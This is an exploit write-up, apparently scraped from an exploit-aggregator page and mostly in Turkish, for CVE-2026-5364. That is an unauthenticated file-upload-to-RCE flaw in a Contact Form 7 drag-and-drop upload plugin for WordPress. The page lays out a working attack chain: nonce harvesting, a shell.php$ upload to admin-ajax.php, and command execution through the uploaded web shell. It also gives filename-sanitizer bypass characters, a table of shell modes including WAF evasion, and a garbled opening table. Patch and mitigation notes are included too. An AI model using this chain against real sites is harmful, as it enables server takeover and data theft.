Share
## https://sploitus.com/exploit?id=20832433-AAE2-5C2F-8055-98C7E8AEB66B
# CVE-2026-5364
CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7
# CVE-2026-5364 — CF7 Drag & Drop File Upload RCE

> **Unauthenticated Arbitrary File Upload via `sanitize_file_name()` Bypass**
> CVSS 8.1 (High) | Affected: ` | Genel amaç |
| `exec` | `` | Tam çıktı |
| `pass` | `` | Binary çıktı |
| `eval` | `` | Gizli/WAF bypass |
| `info` | `` | PHP bilgisi |

---

## 🔬 Teknik Detay

### Exploit Zinciri

```
1. Nonce Tespiti
   └─ wp_localize_script() ile her ziyaretçiye açık
      GET /contact/ → HTML içinde "nonce":"abc123def4"

2. Shell Yükleme
   └─ POST /wp-admin/admin-ajax.php
      action=cf7_file_uploads
      nonce=abc123def4
      type=php$          ← blacklist'te yok
      file=shell.php$    ← sanitize_file_name() → shell.php

3. URL Alma
   └─ Response: {"status":"ok","text":"https://target.com/wp-content/
                 uploads/cf7-uploads-custom/6831a2f4b3c12.php"}

4. RCE
   └─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

### Bypass Karakterleri

`sanitize_file_name()` tarafından silinen karakterler:

```
$  %  ~  `  (boşluk)
```

Araç tüm bypass karakterlerini otomatik dener.

---

## 🛡️ Azaltıcı Faktörler

| Faktör | Etki |
|--------|------|
| Apache `.htaccess` (`Content-Disposition: attachment`) | PHP çalıştırmayı engeller |
| Nginx / LiteSpeed | `.htaccess` geçersiz — **RCE mümkün** |
| Rastgele dosya adı (`uniqid()`) | AJAX yanıtı URL'yi döndürdüğü için **etkisiz** |
| Nonce | CSRF koruması — kimlik doğrulama değil, **etkisiz** |

---

## 🩹 Çözüm

Plugin'i **1.1.4** veya üzeri sürüme güncelleyin.

```bash
# WP-CLI ile güncelleme
wp plugin update drag-and-drop-file-upload-for-contact-form-7
```

### Kod Düzeltmesi (1.1.4)

```php
// YANLIŞ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);

// DOĞRU (1.1.4)
$clean_name     = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);

// type parametresi artık admin ayarından okunuyor
$type = $this->get_admin_allowed_types($form_id);  // POST'tan değil
```

---

## ⚠️ Yasal Uyarı

Bu araç **yalnızca eğitim ve savunma amaçlı güvenlik araştırmaları** için
geliştirilmiştir. Yetkisiz sistemlerde kullanımı yasaktır ve yasal
sonuçları olabilir. Yalnızca **izin aldığınız** sistemlerde kullanın.

---

## 📄 Referanslar

- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-file-upload-for-contact-form-7/cve-2026-5364)
- [WordPress Plugin Page](https://wordpress.org/plugins/drag-and-drop-file-upload-for-contact-form-7/)
- [NVD CVE-2026-5364](https://nvd.nist.gov/vuln/detail/CVE-2026-5364)
- [sanitize_file_name() Docs](https://developer.wordpress.org/reference/functions/sanitize_file_name/)